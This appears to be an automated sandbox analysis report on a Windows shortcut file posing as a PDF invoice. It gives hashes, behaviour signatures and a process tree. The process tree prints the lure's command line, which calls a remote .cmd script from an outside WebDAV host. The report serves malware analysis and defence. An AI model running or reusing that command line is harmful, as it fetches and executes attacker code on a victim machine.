Analysis
- user interaction
yes - max time kernel
298s - max time network
281s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 16:02
Static task
static1
Behavioral task
behavioral1
Sample
NF503472044779.pdf.lnk
Resource
win10v2004-20260513-en
16 signatures
300 seconds
Behavioral task
behavioral2
Sample
NF503472044779.pdf.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
300 seconds
General
- Target NF503472044779.pdf.lnk
- Size 2KB
- Sample260910-tgvpcasbpc
- SHA256 be611d04f6058ea288650500db6bd913bd3c61eb20fd521d94319c3a62bf8cab
- MD5 549e5e7f8d4e51d36e6a8d1c45953c63
- SHA1 72e43b237b6f41f8c3b228afe9596ca45c4b5c22
- SHA512 9510d56ef5e9f9300fc06c93df9499ca194b58f45d882805eaba01195063ff4517e20cbbc61980ae81342e478e91bc99b0b5798441dbfa6d51573a12dce0112b
- TLSH T1B751AC2A2ADD1B35E3F69E33D8B696219A77FC06F9914F4E01C106884892601F925F3F
- MD5 SHA1 SHA512 TLSH
Score
3/10
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2440 cmd.exe 4356 cmd.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 2440 wrote to memory of 4356 2440 cmd.exe 89
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\NF503472044779.pdf.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" start "" cmd /c call "\\emissao.veltrona.club@SSL\ks\bsn.cmd"2⤵
- Executes a command shell one-liner
PID:4356
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:4924